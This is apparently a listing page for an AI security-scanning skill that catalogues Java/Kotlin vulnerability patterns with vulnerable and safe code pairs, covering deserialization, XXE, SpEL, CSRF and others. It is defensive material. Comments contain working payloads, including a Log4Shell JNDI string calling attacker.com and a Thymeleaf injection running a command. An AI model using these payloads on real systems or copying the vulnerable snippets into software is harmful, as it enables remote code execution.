with one click
sc-lang-java
Java/Kotlin-specific security deep scan
Install with Codex or Claude Copy this prompt, paste it into Codex, Claude, or another assistant, and let it review the skill page and install it for you.
Menu
Java/Kotlin-specific security deep scan
Install with Codex or Claude Copy this prompt, paste it into Codex, Claude, or another assistant, and let it review the skill page and install it for you.
Based on SOC occupation classification
Comprehensive AI-powered security scanning suite with 48 skills covering OWASP Top 10, 7 language-specific deep scanners (Go, TypeScript, Python, PHP, Rust, Java, C#), supply chain analysis, infrastructure-as-code scanning, and 3000+ checklist items. Use when you need to run a security audit, find vulnerabilities, scan a PR for security issues, or perform a penetration test on a codebase.
C#/.NET-specific security deep scan
Go-specific security deep scan
PHP-specific security deep scan
Python-specific security deep scan
Rust-specific security deep scan
| name | sc-lang-java |
| description | Java/Kotlin-specific security deep scan |
| license | MIT |
| metadata | {"author":"ersinkoc","category":"security","version":"1.0.0"} |
Detects Java/Kotlin-specific security anti-patterns including deserialization gadget chains, JNDI injection (Log4Shell patterns), Spring framework vulnerabilities, XML parsing XXE, and Kotlin-specific interop risks. Covers the JVM ecosystem's unique attack surface.
Activates when Java or Kotlin is detected in security-report/architecture.md.
References references/java-security-checklist.md.
// VULNERABLE: ObjectInputStream with untrusted data
ObjectInputStream ois = new ObjectInputStream(socketInputStream);
Object obj = ois.readObject(); // Gadget chain → RCE
// SAFE: Deserialization filter (Java 9+)
ObjectInputFilter filter = ObjectInputFilter.Config.createFilter(
"com.myapp.dto.*;!*"
);
ois.setObjectInputFilter(filter);
// SAFEST: Use JSON/protobuf instead
// VULNERABLE: User input reaching JNDI lookup
ctx.lookup(userInput); // userInput = "ldap://attacker.com/exploit"
// Log4j pattern: logger.info("User: " + userInput);
// If userInput = "${jndi:ldap://attacker.com/a}" → RCE
// SAFE: Disable JNDI lookups, update Log4j 2.17.1+
System.setProperty("log4j2.formatMsgNoLookups", "true");
// VULNERABLE: User input in SpEL expression
SpelExpressionParser parser = new SpelExpressionParser();
Expression exp = parser.parseExpression(userInput);
Object result = exp.getValue(); // Code execution!
// SAFE: Use SimpleEvaluationContext (restricts available types)
EvaluationContext context = SimpleEvaluationContext.forReadOnlyDataBinding().build();
Object result = exp.getValue(context);
# VULNERABLE: Actuator endpoints exposed without auth
management:
endpoints:
web:
exposure:
include: "*" # Exposes /actuator/env, /actuator/heapdump, etc.
# SAFE: Restrict actuator endpoints
management:
endpoints:
web:
exposure:
include: health,info
// VULNERABLE: String concatenation in HQL
String hql = "FROM User WHERE name = '" + name + "'";
Query query = session.createQuery(hql);
// SAFE: Named parameters
Query query = session.createQuery("FROM User WHERE name = :name");
query.setParameter("name", name);
// VULNERABLE: Using getParameter when multiple values exist
String role = request.getParameter("role");
// If URL is ?role=user&role=admin, behavior depends on container!
// SAFE: Be explicit about handling
String[] roles = request.getParameterValues("role");
// VULNERABLE: Single string to exec (uses shell on some platforms)
Runtime.getRuntime().exec("cmd /c dir " + userInput);
// SAFE: Array form
new ProcessBuilder("dir", userInput).start();
// But still risky with cmd.exe — prefer direct binary execution
// VULNERABLE: Default DocumentBuilderFactory allows XXE
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
Document doc = dbf.newDocumentBuilder().parse(inputStream);
// SAFE: Disable external entities
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
// VULNERABLE: Java method returns null, Kotlin assumes non-null
val name: String = javaObject.getName() // NPE if getName() returns null!
// Java's @Nullable annotations may not be enforced
// SAFE: Treat Java return values as nullable
val name: String? = javaObject.getName()
val safeName = name ?: "default"
// VULNERABLE: Unhandled exception in coroutine cancels parent scope
scope.launch {
riskyOperation() // Exception kills entire scope!
}
// SAFE: SupervisorJob or exception handler
val handler = CoroutineExceptionHandler { _, ex -> log.error("Error", ex) }
scope.launch(handler + SupervisorJob()) {
riskyOperation()
}
// VULNERABLE: Reflection bypasses access control
Field field = User.class.getDeclaredField(userInput);
field.setAccessible(true); // Bypasses private!
field.set(user, newValue);
// SAFE: Never use user input in reflection operations
// VULNERABLE: User input in connection string
String url = "jdbc:mysql://db:3306/" + userInput;
DriverManager.getConnection(url);
// User can inject: dbname?autoDeserialize=true&queryInterceptors=...
// SAFE: Validate database name, use connection pool config
// VULNERABLE: java.util.Random is predictable
Random random = new Random();
String token = Long.toHexString(random.nextLong());
// SAFE: SecureRandom for security-sensitive values
SecureRandom random = new SecureRandom();
byte[] bytes = new byte[32];
random.nextBytes(bytes);
// VULNERABLE: User input in Thymeleaf template string
String template = "Hello " + userInput;
templateEngine.process(template, context);
// userInput = "__${T(java.lang.Runtime).getRuntime().exec('id')}__::.x"
// SAFE: User input as template variable
model.addAttribute("name", userInput);
templateEngine.process("hello", context); // hello.html: <span th:text="${name}">
<!-- VULNERABLE: User input in EL expression -->
<c:out value="${param.name}" /> <!-- Generally safe with c:out -->
${param.name} <!-- Direct EL is NOT auto-escaped in JSP! XSS -->
<!-- SAFE: Use JSTL c:out or fn:escapeXml -->
<c:out value="${param.name}" escapeXml="true" />
// VULNERABLE: All fields bound from request
@PostMapping("/users")
public User create(@ModelAttribute User user) {
return repo.save(user); // role, isAdmin settable!
}
// SAFE: Use DTO
public User create(@RequestBody CreateUserDTO dto) { /* map fields */ }
// Or use @InitBinder to exclude fields
@InitBinder
public void initBinder(WebDataBinder binder) {
binder.setDisallowedFields("role", "isAdmin");
}
// VULNERABLE: CSRF disabled, all requests permitted
http.csrf().disable()
.authorizeRequests().anyRequest().permitAll();
// SAFE: Proper security configuration
http.csrf().csrfTokenRepository(CookieCsrfTokenRepository.withHttpOnlyFalse())
.authorizeRequests()
.antMatchers("/api/public/**").permitAll()
.antMatchers("/api/admin/**").hasRole("ADMIN")
.anyRequest().authenticated();
// VULNERABLE: No type or size validation
@PostMapping("/upload")
public void upload(@RequestParam("file") MultipartFile file) {
file.transferTo(new File("/uploads/" + file.getOriginalFilename()));
}
// SAFE: Validate type, size, sanitize filename
if (!ALLOWED_TYPES.contains(file.getContentType())) throw new BadRequest();
String filename = UUID.randomUUID() + getExtension(file.getOriginalFilename());
// VULNERABLE: DefaultTyping enables polymorphic deserialization
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping(); // Allows arbitrary class instantiation!
// SAFE: Don't enable default typing, or use allowlist
mapper.activateDefaultTyping(
mapper.getPolymorphicTypeValidator(),
ObjectMapper.DefaultTyping.NON_FINAL
);